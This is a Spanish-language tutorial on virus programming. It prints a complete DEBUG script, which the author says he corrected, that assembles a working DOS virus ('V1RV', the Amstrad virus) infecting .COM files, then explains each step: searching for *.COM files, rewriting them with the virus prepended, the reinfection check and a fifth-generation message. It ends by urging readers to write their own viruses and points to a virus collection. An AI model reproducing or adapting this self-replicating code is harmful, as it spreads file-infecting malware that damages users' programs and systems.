INTRODUCION A LA PROGRAMACION

DE VIRUS

Los Virus se programan en ensamblador, por eso mismo es necesario un conocimiento mínimo de este lenguaje. Por ahora es suficiente con conocer las instrucciones básicas como las de salto, comparación y movimiento de datos.

Todo el mundo sabe lo que es un Virus, pero veamos uno por dentro :-). El primer virus lo vi en una revista ya desaparecida, Amstrad User. Ellos publicaron un pequeño Virus que luego seria conocido como el Virus Amstrad, al parecer intentaron colarlo en los ordenadores de la revista :-?. Por cierto, el Virus es de lo mas tonto, solo lo voy a utilizar como ejemplo, pero es muy malo como Virus, no restaura la fecha del fichero, no comprueba los atributos de lectura/escritura, no mira si el tamaño del fichero es muy grande ... El script original contenía un error, el que voy a poner es correcto. Para obtener un fichero ejecutable basta con poner:

DEBUG < V1RV.DBG

-------------------V1RV.DBG--------------------------------------

a

JMP 0116

NOP

DEC CX

PUSH SI

ADD [BP+SI],CH

CS:

INC BX

DEC DI

DEC BP

ADD [BX+04],CL

ADD [BX+SI],AL

ADD [BX+SI],AX

ADD [BX+SI],AL

ADD [BX+SI],AL

MOV AX,CS

ADD AX,1000

MOV ES,AX

INC BYTE PTR [0105]

MOV SI,0100

XOR DI,DI

MOV CX,014F

REPZ

MOVSB

MOV DX,025F

MOV AH,1A

INT 21

MOV DX,0106

MOV CX,0016

MOV AH,4E

INT 21

JB 019E

MOV DX,027D

MOV AX,3D02

INT 21

MOV [0114],AX

MOV BX,AX

PUSH ES

POP DS

MOV DX,034F

MOV CX,FFFF

MOV AH,3F

INT 21

ADD AX,034F

CS:

MOV [0112],AX

DS:

CMP WORD PTR [0352],5649

JZ 0188

XOR CX,CX

MOV DX,CX

CS:

MOV BX,[0114]

MOV AX,4200

INT 21

JB 0188

MOV DX,0000

CS:

MOV CX,[0112]

CS:

MOV BX,[0114]

MOV AH,40

INT 21

CS:

MOV BX,[0114]

MOV AH,3E

INT 21

PUSH CS

POP DS

MOV AH,4F

MOV DX,025F

INT 21

JB 019E

JMP 013E

MOV DX,0080

MOV AH,1A

INT 21

CMP BYTE PTR [0105],05

JB 0207

MOV AX,0040

MOV DS,AX

MOV AX,[006C]

PUSH CS

POP DS

AND AX,0001

JZ 0207

MOV DX,01C4

MOV AH,09

INT 21

INT 20

INC BP

DB 6E

AND [SI+75],DH

AND [BX+SI+43],DL

AND [BX+SI+61],CH

JNS 01F1

JNZ 0241

AND [BP+69],DH

JB 024D

JNB 01FA

PUSH DX

PUSH SI

XOR [SI],BP

AND [BX+DI+20],BH

XOR BYTE PTR [BP+DI+74],61

AND [DI+73],AH

AND [BP+DI+75],DH

AND [BX+DI+75],DH

DB 69

DB 6E

JZ 0253

AND [BX+65],AH

DB 6E

DB 65

JB 025A

DB 63

DB 69

MOV [206E],AL

ADD [BX+SI],SP

AND [BX+SI],AH

AND [BX+SI],AH

OR CL,[DI]

AND AL,BE

AND AL,02

MOV CX,002B

XOR DI,DI

REPZ

MOVSB

XOR DI,DI

CS:

MOV WORD PTR [010E],0000

CS:

MOV [0110],ES

CS:

JMP FAR [010E]

PUSH DS

POP ES

MOV SI,044F

CMP BYTE PTR [0105],01

JNZ 0234

SUB SI,0200

MOV DI,0100

MOV CX,FFFF

SUB CX,SI

REPZ

MOVSB

CS:

MOV WORD PTR [0100],0100

CS:

MOV [0102],DS

CS:

JMP FAR [0100]

INT 20

n v1rv.com

r cx

151

w

q

----------------corta aqui-----------------------------------

Lo mejor que puedes hacer ahora es ejecutar el Virus paso a paso con el propio DEBUG. Ejecuta el DEBUG, cuando salga el cursor (-) indícale el nombre del fichero a cargar (n v1rv.com) y léelo (l). En el registro BX,CX tienes el tamaño en bytes del programa cargado, para ver el contenido de los registros utiliza el comando (r). Fíjate que BX vale 0000 y CX vale 0151, es decir, el tamaño del programa es de 337 bytes (el valor de CX esta en hexa).

Utilizaremos las ordenes (t) y (p) para tracear el Virus, la diferencia entre (t) y (p) es que la primera ejecuta el programa instrucción a instrucción, metiéndose dentro de las CALL y de las INT, mientras que (p) ejecuta de un golpe las CALL y las INT. Para una instrucción cualquiera (exceptuado CALL/INT) las dos ordenes se pueden usar indistintamente.

Empecemos con la (p), se ha producido un salto a la dirección 116 (en hexa).

JMP 116

... ...

116: MOV AX,CS

ADD AX,1000

MOV ES,AX

INC BYTE PTR [0105]

MOV SI,0100

XOR DI,DI

MOV CX,014F

REPZ

MOVSB

Las tres primeras instrucciones tras el salto ponen en ES la dirección del segmento que dista 64Kb del actual. Espero que comprendas esto :-)), si no es que hay que pegar un repaso a la segmentación de los procesadores Intel.

REPASO: Los procesadores Intel utilizan un esquema basado en la segmentación para direccionar la memoria. El esquema Intel es diferente a la segmentación clásica. Cada semento es de 64Kb, pero no estan de forma consecutiva en la memoria, estan sobrelapados, distando cada comienzo de segmento un párrafo (16 bytes). Es decir, si tenemos una dirección SEG:OFF, el siguiente segmento comienza en (SEG+01h):OFF o en SEG:(OFF+10h). Date cuenta que linealmente es la misma dirección: (SEG+01h)*10h+OFF = SEG*10h+10h+OFF = SEG*10h+(OFF+10h) = SEG:(OFF+10h). Bueno... seguro que sabes que la dirección segmentada se pasa a lineal si multiplicas el segmento por 16 (10h) y le sumas el desplazamiento.

La cuarta incrementa un contador, simplemente recuerda por ahora que esta en la dirección DS:0105h, luego veremos para que lo usa.

El resto, 5 instrucciones, copian el virus en el segmento calculado. La instrucción REPZ MOVSB copia CX bytes desde DS:SI a ES:DI. Como DS apunta al mismo segmento que CS y SI vale 100h, estamos compilando CS:100h que es la dirección del principio del Virus. El registro CX vale 14fh, es decir, el tamaño del Virus, ya que los dos últimos bytes (CDh 20h) corresponden al código del programa que hemos infectado. La dirección de destino es ES:DI, el valor de ES es conocido, DI vale 0000h.

Pasamos a ver las 3 siguientes.

MOV DX,025F

MOV AH,1A

INT 21

Esta es una interrupción 21h con servicio 1ah, para saber que significa podemos consultar las listas de Ralf Brown. Este servicio se encarga de establecer la dirección del DTA en DS:DX. El DTA es una zona de memoria que por defecto se encuentra en DS:0080h (PSP), se usa como registro para contener información que devuelven otros servicios, como el de buscar ficheros por un directorio. El tamaño máximo del DTA va a ser de 128 bytes... un momento... ahora estamos estableciendo una zona de memoria que va ha ser escrita por otros servicios en la dirección DS:025fh 8-O !!!, ­ pero si en esa dirección puede existir parte del programa infectado !, XDD, tranquilo, ya veremos como solucionar esto.

MOV DX,0106

MOV CX,0016

MOV AH,4E

INT 21

JB 019E

Esta función hace uso del DTA, es la encargada de buscar ficheros, junto a su hermana el servicio 4fh. Veamos, en CX espera los atributos para la búsqueda, su patron es el siguiente:

76543210

00XXXXXX

El 7 y 6 estan reservados, 5 es el bit de archivo, 4 de subdirectorio, el bit 3 es el de la etiqueta de volumen, el 2 archivo de sistema, 1 archivo oculto y 0 el de solo lectura. Pues bien, el servicio 4eh pide que especifiquemos que atributos debe tener los ficheros que vamos a buscar, 16h en binario es 10110, es decir, busca los ficheros ocultos, de sistema y subdirectorios, aparte de los normales. [ Yo considero que buscar los subdirectorios es un error del programa, ya que no hay uso de los servicios de directorio ].

En DS:DX se debe almacenar el patron de búsqueda en una cadena ASCIIZ (termina en 00h). Para ver el patron que usa pongamos (d ds:106)... :-) '*.COM',00h. Si no encuentra ninguno devuelve el bit del carry a 1, el programa salta a 019eh.

El servicio 4eh/4fh almacena en la DTA la siguiente info:

Bytes Finalidad

----- ---------

0-20 Reservados

21 Atributo del fichero

22-23 Hora del fichero:

Bits 0bh-0fh = horas (0-23)

Bits 05h-0ah = minutos (0-59)

Bits 00h-04h =incrementos de 2 segundos(0-29)

24-25 Fecha de fichero:

Bits 09h-0fh = a¤o (respecto a 1980)

Bits 05h-08h = mes (1-12)

Bits 00h-04h = dia (1-31)

26-29 Tamaño del fichero

30-42 Nombre y extensión en ASCIIZ

Bien, supongamos que encuentra un fichero '*.COM', en ese caso ejecutaría la siguiente sección de código:

MOV DX,027D

MOV AX,3D02

INT 21

MOV [0114],AX

MOV BX,AX

Es decir, abre el fichero de nombre DS:DX para lectura/escritura. Como ves, DX apunta a la zona del DTA referente al nombre del fichero :-). A la vuelta, este servicio pone en AX el file-handle del fichero, lo guarda en DS:0114h y lo pone en BX.

PUSH ES

POP DS

MOV DX,034F

MOV CX,FFFF

MOV AH,3F

INT 21

ADD AX,034F

CS:

MOV [0112],AX

Las dos primeras instrucciones ponen DS igual a ES y a continuacion lee todo el fichero COM en DS:DX. Pone el código del programa al final del Virus, dejando 0200h bytes de espacio. Precisamente este espacio lo deja el Virus para poder almacenar la DTA en la siguiente infección.

El numero de bytes elido se devuelve en AX, valor al que le suma 034fh, que es el tamaño del virus mas esos 0200h. El tamaño total lo almacena en CS:0112h.

DS:

CMP WORD PTR [0352],5649

JZ 0188

El Virus, para no reinfectar un programa, mira el cuarto y el quinto byte, si valen I y V respectivamente quiere decir que el programa ya tenia el Virus y no lo infecta otra vez.

XOR CX,CX

MOV DX,CX

CS:

MOV BX,[0114]

MOV AX,4200

INT 21

JB 0188

Este trozo hace que el puntero de lectura/escritura del fichero apunte de nuevo al principio del mismo, ya que reescribiremos todo el programa. Recuerda que en la dirección 0114h tenemos el file-handle del fichero.

MOV DX,0000

CS:

MOV CX,[0112]

CS:

MOV BX,[0114]

MOV AH,40

INT 21

CS:

MOV BX,[0114]

MOV AH,3E

INT 21

Aqui esta la verdadera infección :-), escribe el fichero desde el principio con el nuevo tamaño y al final lo cierra. Ahora ya tenemos el programa infectado, pasemos al siguiente :-).

PUSH CS

POP DS

MOV AH,4F

MOV DX,025F

INT 21

JB 019E

JMP 013E

Esto restaura el valor de DS, para que apunte a CS. Luego continua la búsqueda de los ficheros (4fh). Curioso error, pone en DX el valor 025fh que es donde se encuentra la DTA, pero eso no hace falta (tonto, desperdicia preciosos bytes).

Si encuentra algún otro fichero salta a la dirección 013eh y comienza de nuevo todo el proceso, si no encuentra mas fichero salta a la 019eh.

MOV DX,0080

MOV AH,1A

INT 21

Si no encuentra mas ficheros reestablece la dirección de la DTA. Esto es importante.

CMP BYTE PTR [0105],05

JB 0207

MOV AX,0040

MOV DS,AX

MOV AX,[006C]

PUSH CS

POP DS

AND AX,0001

JZ 0207

MOV DX,01C4

MOV AH,09

INT 21

INT 20

¿Recuerdas que al principio el Virus incremento el byte de la 0105h?, es un contador de reproducciones, indica cuantas veces se ha reproducido el Virus. Ahora lo compara con 5, si es menor no hace nada, pero si es igual o mayor mira el bit 0 del contador de clicks del sistema (0040h:006ch), si vale 1 imprime un mensajito muy tonto, para verlo pon (d1c4), dice lo siguiente: 'En tu PC hay un virus RV1, y esta es su quinta generación', acompañado del caracter 01h (una carita), al final sale al DOS.

MOV SI,0224

MOV CX,002B

XOR DI,DI

REPZ

MOVSB

XOR DI,DI

CS:

MOV WORD PTR [010E],0000

CS:

MOV [0110],ES

CS:

JMP FAR [010E]

Ya estamos cerca del final, desde ahora el Virus se va a encargar de preparar la memoria para poder ejecutar el programa que tiene adosado. Para ello copia un mini programa de 2bh bytes, que comienza en cs:0224, al principio del nuevo segmento. Por ultimo pega un salto a ES:0000h, es decir, al mini programa.

PUSH DS

POP ES

MOV SI,044F

CMP BYTE PTR [0105],01

JNZ 0234

SUB SI,0200

MOV DI,0100

MOV CX,FFFF

SUB CX,SI

REPZ

MOVSB

CS:

MOV WORD PTR [0100],0100

CS:

MOV [0102],DS

CS:

JMP FAR [0100]

Este es el programa que pasa a ejecutar. Primero iguala los registros de datos y extra con el de código. Ahora viene un detalle que me hace sospechar que los programadores del virus fueron los de la revista: ajusta SI dependiendo de si es su primera reproducción o no (en la revista publicaron uno en su primera reproducción, es decir, nunca se había reproducido). Lo principal de este trozo es que copia el código del programa infectado al principio del segmento, 0100h, y salta a la primera instrucción del programa. Este se ejecuta como si nada.

Bueno esto es todo. Hemos analizado con detenimiento un Virus muy simple y con fallos en su programación. Existe otra técnica para infectar programa COM que con un poco de suerte la podremos ver en otra entrega. Infectar los EXE no es mucho mas difícil :-).

Por ultimo, no me seáis lamerillos y si programáis un Virus hacedlo desde el principio, no os conformeis con arreglar este fuente }:-).


" Y... sino queres perder tiempo programando, anda a lo facil, y pasa a ver mi
coleccion de virus "

 

Volver